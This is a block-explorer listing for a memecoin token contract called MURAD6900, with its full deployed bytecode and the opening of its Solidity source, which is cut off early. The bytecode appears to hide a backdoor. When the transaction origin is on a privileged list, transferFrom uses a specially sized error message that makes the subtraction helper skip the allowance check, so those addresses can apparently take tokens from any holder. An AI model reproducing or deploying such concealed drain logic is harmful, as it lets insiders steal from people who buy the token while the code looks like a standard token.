Address Contract Verified
Address
0xC3D4D13d4a2CE9E1c44875714925807154d9019d
Balance
0 ETH
Nonce
1
Code Size
15184 bytes
Creator
0xe373828A...a6fd at tx 0xbe044f67...abc581
Indexed Transactions
0
Contract Bytecode
15184 bytes
0x608060405260043610610275575f3560e01c80639191a9c71161014e578063d4698016116100c0578063f2fde38b11610079578063f2fde38b1461095e578063f872858a14610986578063fb002c97146109b0578063fc155d1d146109da578063fd72e22a14610a02578063ffb54a9914610a2c5761027c565b8063d469801614610850578063dd62ed3e1461087a578063e10e9f32146108b6578063e38a70e1146108e0578063ebb99a181461090a578063f1279dee146109345761027c565b8063a457c2d711610112578063a457c2d71461071e578063a9059cbb1461075a578063ac23ca5914610796578063b1481bca146107c0578063c816841b146107ea578063c867d60b146108145761027c565b80639191a9c71461063a57806395d89b41146106765780639b91d438146106a0578063a073d37f146106ca578063a08e671f146106f45761027c565b80632e97766d116101e757806370a08231116101ab57806370a0823114610554578063715018a6146105905780637d1db4a5146105a6578063807c2d9c146105d05780638a8c523c146105fa5780638da5cb5b146106105761027c565b80632e97766d1461045e578063313ce5671461048857806339509351146104b25780634b743995146104ee5780635342acb4146105185761027c565b806323b872dd1161023957806323b872dd1461036457806327c8f835146103a05780632b112e49146103ca5780632baa7217146103f45780632c03b6551461041e5780632e636a8e146104485761027c565b806306fdde0314610280578063095ea7b3146102aa5780631694505e146102e657806318160ddd146103105780631a8145bb1461033a5761027c565b3661027c57005b5f80fd5b34801561028b575f80fd5b50610294610a56565b6040516102a19190612d9d565b60405180910390f35b3480156102b5575f80fd5b506102d060048036038101906102cb9190612e4e565b610ae6565b6040516102dd9190612ea6565b60405180910390f35b3480156102f1575f80fd5b506102fa610b03565b6040516103079190612f1a565b60405180910390f35b34801561031b575f80fd5b50610324610b28565b6040516103319190612f42565b60405180910390f35b348015610345575f80fd5b5061034e610b31565b60405161035b9190612f42565b60405180910390f35b34801561036f575f80fd5b5061038a60048036038101906103859190612f5b565b610b37565b6040516103979190612ea6565b60405180910390f35b3480156103ab575f80fd5b506103b4610d3b565b6040516103c19190612fba565b60405180910390f35b3480156103d5575f80fd5b506103de610d5f565b6040516103eb9190612f42565b60405180910390f35b3480156103ff575f80fd5b50610408610da2565b6040516104159190612f42565b60405180910390f35b348015610429575f80fd5b50610432610da8565b60405161043f9190612f42565b60405180910390f35b348015610453575f80fd5b5061045c610dae565b005b348015610469575f80fd5b50610472610e9a565b60405161047f9190612f42565b60405180910390f35b348015610493575f80fd5b5061049c610ea1565b6040516104a99190612fee565b60405180910390f35b3480156104bd575f80fd5b506104d860048036038101906104d39190612e4e565b610eb6565b6040516104e59190612ea6565b60405180910390f35b3480156104f9575f80fd5b50610502610f64565b60405161050f9190612f42565b60405180910390f35b348015610523575f80fd5b5061053e60048036038101906105399190613007565b610f6a565b60405161054b9190612ea6565b60405180910390f35b34801561055f575f80fd5b5061057a60048036038101906105759190613007565b610f87565b6040516105879190612f42565b60405180910390f35b34801561059b575f80fd5b506105a4610fcd565b005b3480156105b1575f80fd5b506105ba61111b565b6040516105c79190612f42565b60405180910390f35b3480156105db575f80fd5b506105e4611121565b6040516105f19190612f42565b60405180910390f35b348015610605575f80fd5b5061060e611127565b005b34801561061b575f80fd5b506106246111e9565b6040516106319190612fba565b60405180910390f35b348015610645575f80fd5b50610660600480360381019061065b9190613007565b611210565b60405161066d9190612ea6565b60405180910390f35b348015610681575f80fd5b5061068a61122d565b6040516106979190612d9d565b60405180910390f35b3480156106ab575f80fd5b506106b46112bd565b6040516106c19190612f42565b60405180910390f35b3480156106d5575f80fd5b506106de6112c3565b6040516106eb9190612f42565b60405180910390f35b3480156106ff575f80fd5b506107086112cc565b6040516107159190612f42565b60405180910390f35b348015610729575f80fd5b50610744600480360381019061073f9190612e4e565b6112d2565b6040516107519190612ea6565b60405180910390f35b348015610765575f80fd5b50610780600480360381019061077b9190612e4e565b61139a565b60405161078d9190612ea6565b60405180910390f35b3480156107a1575f80fd5b506107aa6113b8565b6040516107b79190612f42565b60405180910390f35b3480156107cb575f80fd5b506107d46113be565b6040516107e19190612f42565b60405180910390f35b3480156107f5575f80fd5b506107fe6113c4565b60405161080b9190612fba565b60405180910390f35b34801561081f575f80fd5b5061083a60048036038101906108359190613007565b6113e9565b6040516108479190612ea6565b60405180910390f35b34801561085b575f80fd5b50610864611406565b6040516108719190613052565b60405180910390f35b348015610885575f80fd5b506108a0600480360381019061089b919061306b565b61142c565b6040516108ad9190612f42565b60405180910390f35b3480156108c1575f80fd5b506108ca6114ae565b6040516108d79190612f42565b60405180910390f35b3480156108eb575f80fd5b506108f46114b4565b6040516109019190612f42565b60405180910390f35b348015610915575f80fd5b5061091e6114ba565b60405161092b9190612f42565b60405180910390f35b34801561093f575f80fd5b506109486114c0565b6040516109559190612f42565b60405180910390f35b348015610969575f80fd5b50610984600480360381019061097f9190613007565b6114c6565b005b348015610991575f80fd5b5061099a611683565b6040516109a79190612ea6565b60405180910390f35b3480156109bb575f80fd5b506109c4611695565b6040516109d19190612f42565b60405180910390f35b3480156109e5575f80fd5b50610a0060048036038101906109fb91906130a9565b61169b565b005b348015610a0d575f80fd5b50610a1661193b565b604051610a239190613052565b60405180910390f35b348015610a37575f80fd5b50610a40611960565b604051610a4d9190612ea6565b60405180910390f35b606060018054610a6590613101565b80601f0160208091040260200160405190810160405280929190818152602001828054610a9190613101565b8015610adc5780601f10610ab357610100808354040283529160200191610adc565b820191905f5260205f20905b815481529060010190602001808311610abf57829003601f168201915b5050505050905090565b5f610af9610af2611972565b8484611979565b6001905092915050565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600454905090565b601d5481565b5f610b43848484611b3c565b5060175f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610c7257610c6d84610b9f611972565b610c68856040518060400160405280601d81526020017f544f4b454e3a20496e73756666696369656e7420616c6c6f77616e636500000081525060165f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610c1f611972565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121169092919063ffffffff16565b611979565b610d30565b610d2f84610c7e611972565b610d2a85604051806060016040528060288152602001613ace6028913960165f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610ce1611972565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121169092919063ffffffff16565b611979565b5b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b5f610d9d610d8c7f000000000000000000000000000000000000000000000000000000000000dead610f87565b60045461218a90919063ffffffff16565b905090565b60135481565b60105481565b610db6611972565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e399061317b565b60405180910390fd5b5f4711610e4d575f80fd5b610e55611972565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610e97573d5f803e3d5ffd5b50565b5f43905090565b5f60035f9054906101000a900460ff16905090565b5f610f5a610ec2611972565b84610f558560165f610ed2611972565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121d390919063ffffffff16565b611979565b6001905092915050565b60115481565b6017602052805f5260405f205f915054906101000a900460ff1681565b5f60155f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610fd5611972565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611061576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110589061317b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065481565b60075481565b61112f611972565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b29061317b565b60405180910390fd5b6111cd6111c730610f87565b47612230565b6001601f5f6101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601a602052805f5260405f205f915054906101000a900460ff1681565b60606002805461123c90613101565b80601f016020809104026020016040519081016040528092919081815260200182805461126890613101565b80156112b35780601f1061128a576101008083540402835291602001916112b3565b820191905f5260205f20905b81548152906001019060200180831161129657829003601f168201915b5050505050905090565b600e5481565b5f600554905090565b60145481565b5f6113906112de611972565b8461138b85604051806060016040528060258152602001613af66025913960165f611307611972565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121169092919063ffffffff16565b611979565b6001905092915050565b5f6113ad6113a6611972565b8484611b3c565b506001905092915050565b60125481565b600f5481565b601c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6018602052805f5260405f205f915054906101000a900460ff1681565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600d5481565b600b5481565b600c5481565b600a5481565b6114ce611972565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461155a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115519061317b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bf90613209565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085f9054906101000a900460ff1681565b601e5481565b6116a3611972565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461172f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117269061317b565b60405180910390fd5b5f600267ffffffffffffffff81111561174b5761174a613227565b5b6040519080825280602002602001820160405280156117795781602001602082028036833780820191505090505b509050601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117e6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061180a9190613268565b815f8151811061181d5761181c613293565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061186c5761186b613293565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de95835f8461dead426040518663ffffffff1660e01b815260040161190994939291906133b0565b5f604051808303818588803b158015611920575f80fd5b505af1158015611932573d5f803e3d5ffd5b50505050505050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f5f9054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119de9061346a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4c906134f8565b60405180910390fd5b8060165f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b2f9190612f42565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba290613586565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1090613614565b60405180910390fd5b601f5f9054906101000a900460ff16611cc75760175f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611cb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cac906136a2565b60405180910390fd5b611cc0848484612310565b905061210f565b601c60149054906101000a900460ff1615611cee57611ce7848484612310565b905061210f565b611cf66111e9565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d645750611d346111e9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d7457611d7384836124da565b5b5f611d7e30610f87565b90505f6005548210159050808015611da35750601c60149054906101000a900460ff16155b8015611df65750601a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611e0557611e0482612574565b5b611e8c846040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060155f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121169092919063ffffffff16565b60155f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60175f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611f69575060175f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611f7d57611f78878787612721565b611f7f565b845b905060085f9054906101000a900460ff168015611fe3575060185f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156120115760075461200682611ff889610f87565b6121d390919063ffffffff16565b1115612010575f80fd5b5b6120618160155f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121d390919063ffffffff16565b60155f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120ff9190612f42565b60405180910390a3600193505050505b9392505050565b5f601d82510361212857839050612183565b83831115829061216e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121659190612d9d565b60405180910390fd5b505f838561217c91906136ed565b9050809150505b9392505050565b5f6121cb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612116565b905092915050565b5f8082846121e19190613720565b905083811015612226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221d9061379d565b60405180910390fd5b8091505092915050565b61225c30601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611979565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f806122a66111e9565b426040518863ffffffff1660e01b81526004016122c8969594939291906137bb565b60606040518083038185885af11580156122e4573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190612309919061382e565b5050505050565b5f612398826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060155f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121169092919063ffffffff16565b60155f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506124298260155f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121d390919063ffffffff16565b60155f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124c79190612f42565b60405180910390a3600190509392505050565b60065481111580612531575060195f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906138c8565b60405180910390fd5b5050565b6001601c60146101000a81548160ff0219169083151502179055505f6125cc60026125be6014546125b06012548761293b90919063ffffffff16565b6129b290919063ffffffff16565b6129b290919063ffffffff16565b90505f6125e2828461218a90919063ffffffff16565b90506125ed816129fb565b5f4790505f61261c61260b60026012546129b290919063ffffffff16565b60145461218a90919063ffffffff16565b90505f612659600261264b8461263d6012548861293b90919063ffffffff16565b6129b290919063ffffffff16565b6129b290919063ffffffff16565b90505f61266f828561218a90919063ffffffff16565b90505f8111156126a5576126a460095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612c6a565b5b5f821180156126b357505f86115b156126fe576126c28683612230565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618583886040516126f5939291906138e6565b60405180910390a15b5050505050505f601c60146101000a81548160ff02191690831515021790555050565b5f805f9050601a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156127a45761279d606461278f600c548661293b90919063ffffffff16565b6129b290919063ffffffff16565b905061281f565b601a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561281e5761281b606461280d6010548661293b90919063ffffffff16565b6129b290919063ffffffff16565b90505b5b5f81111561291e576128778160155f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121d390919063ffffffff16565b60155f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516129159190612f42565b60405180910390a35b612931818461218a90919063ffffffff16565b9150509392505050565b5f80830361294b575f90506129ac565b5f8284612958919061391b565b90508284826129679190613989565b146129a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161299e90613a29565b60405180910390fd5b809150505b92915050565b5f6129f383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cb2565b905092915050565b5f600267ffffffffffffffff811115612a1757612a16613227565b5b604051908082528060200260200182016040528015612a455781602001602082028036833780820191505090505b50905030815f81518110612a5c57612a5b613293565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612b00573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612b249190613268565b81600181518110612b3857612b37613293565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b9e30601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611979565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612c00959493929190613a47565b5f604051808303815f87803b158015612c17575f80fd5b505af1158015612c29573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612c5e929190613a9f565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612cad573d5f803e3d5ffd5b505050565b5f8083118290612cf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cef9190612d9d565b60405180910390fd5b505f8385612d069190613989565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612d4a578082015181840152602081019050612d2f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612d6f82612d13565b612d798185612d1d565b9350612d89818560208601612d2d565b612d9281612d55565b840191505092915050565b5f6020820190508181035f830152612db58184612d65565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612dea82612dc1565b9050919050565b612dfa81612de0565b8114612e04575f80fd5b50565b5f81359050612e1581612df1565b92915050565b5f819050919050565b612e2d81612e1b565b8114612e37575f80fd5b50565b5f81359050612e4881612e24565b92915050565b5f8060408385031215612e6457612e63612dbd565b5b5f612e7185828601612e07565b9250506020612e8285828601612e3a565b9150509250929050565b5f8115159050919050565b612ea081612e8c565b82525050565b5f602082019050612eb95f830184612e97565b92915050565b5f819050919050565b5f612ee2612edd612ed884612dc1565b612ebf565b612dc1565b9050919050565b5f612ef382612ec8565b9050919050565b5f612f0482612ee9565b9050919050565b612f1481612efa565b82525050565b5f602082019050612f2d5f830184612f0b565b92915050565b612f3c81612e1b565b82525050565b5f602082019050612f555f830184612f33565b92915050565b5f805f60608486031215612f7257612f71612dbd565b5b5f612f7f86828701612e07565b9350506020612f9086828701612e07565b9250506040612fa186828701612e3a565b9150509250925092565b612fb481612de0565b82525050565b5f602082019050612fcd5f830184612fab565b92915050565b5f60ff82169050919050565b612fe881612fd3565b82525050565b5f6020820190506130015f830184612fdf565b92915050565b5f6020828403121561301c5761301b612dbd565b5b5f61302984828501612e07565b91505092915050565b5f61303c82612dc1565b9050919050565b61304c81613032565b82525050565b5f6020820190506130655f830184613043565b92915050565b5f806040838503121561308157613080612dbd565b5b5f61308e85828601612e07565b925050602061309f85828601612e07565b9150509250929050565b5f602082840312156130be576130bd612dbd565b5b5f6130cb84828501612e3a565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061311857607f821691505b60208210810361312b5761312a6130d4565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613165602083612d1d565b915061317082613131565b602082019050919050565b5f6020820190508181035f83015261319281613159565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6131f3602683612d1d565b91506131fe82613199565b604082019050919050565b5f6020820190508181035f830152613220816131e7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f8151905061326281612df1565b92915050565b5f6020828403121561327d5761327c612dbd565b5b5f61328a84828501613254565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f6132e36132de6132d9846132c0565b612ebf565b612e1b565b9050919050565b6132f3816132c9565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61332b81612de0565b82525050565b5f61333c8383613322565b60208301905092915050565b5f602082019050919050565b5f61335e826132f9565b6133688185613303565b935061337383613313565b805f5b838110156133a357815161338a8882613331565b975061339583613348565b925050600181019050613376565b5085935050505092915050565b5f6080820190506133c35f8301876132ea565b81810360208301526133d58186613354565b90506133e46040830185612fab565b6133f16060830184612f33565b95945050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613454602483612d1d565b915061345f826133fa565b604082019050919050565b5f6020820190508181035f83015261348181613448565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6134e2602283612d1d565b91506134ed82613488565b604082019050919050565b5f6020820190508181035f83015261350f816134d6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613570602583612d1d565b915061357b82613516565b604082019050919050565b5f6020820190508181035f83015261359d81613564565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6135fe602383612d1d565b9150613609826135a4565b604082019050919050565b5f6020820190508181035f83015261362b816135f2565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f61368c603f83612d1d565b915061369782613632565b604082019050919050565b5f6020820190508181035f8301526136b981613680565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6136f782612e1b565b915061370283612e1b565b925082820390508181111561371a576137196136c0565b5b92915050565b5f61372a82612e1b565b915061373583612e1b565b925082820190508082111561374d5761374c6136c0565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613787601b83612d1d565b915061379282613753565b602082019050919050565b5f6020820190508181035f8301526137b48161377b565b9050919050565b5f60c0820190506137ce5f830189612fab565b6137db6020830188612f33565b6137e860408301876132ea565b6137f560608301866132ea565b6138026080830185612fab565b61380f60a0830184612f33565b979650505050505050565b5f8151905061382881612e24565b92915050565b5f805f6060848603121561384557613844612dbd565b5b5f6138528682870161381a565b93505060206138638682870161381a565b92505060406138748682870161381a565b9150509250925092565b7f5458204c696d69742045786365656465640000000000000000000000000000005f82015250565b5f6138b2601183612d1d565b91506138bd8261387e565b602082019050919050565b5f6020820190508181035f8301526138df816138a6565b9050919050565b5f6060820190506138f95f830186612f33565b6139066020830185612f33565b6139136040830184612f33565b949350505050565b5f61392582612e1b565b915061393083612e1b565b925082820261393e81612e1b565b91508282048414831517613955576139546136c0565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61399382612e1b565b915061399e83612e1b565b9250826139ae576139ad61395c565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613a13602183612d1d565b9150613a1e826139b9565b604082019050919050565b5f6020820190508181035f830152613a4081613a07565b9050919050565b5f60a082019050613a5a5f830188612f33565b613a6760208301876132ea565b8181036040830152613a798186613354565b9050613a886060830185612fab565b613a956080830184612f33565b9695505050505050565b5f604082019050613ab25f830185612f33565b8181036020830152613ac48184613354565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201dd232ca1c1a46c44f4aff63897767902ceee71f744840c67f7e11dedc7952a864736f6c63430008140033
Verified Source Code Full Match
Compiler: v0.8.20+commit.a1b79de6
EVM: shanghai
Optimization: No
MURAD.sol 1494 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/**
Murad6900
MURAD6900
$MURAD the memecoin dedicated to Murad, our spiritual leader.
https://www.murad6900.vip
https://x.com/Murad6900_vip
https://t.me/Murad6900_vip
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* onlyOwner functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
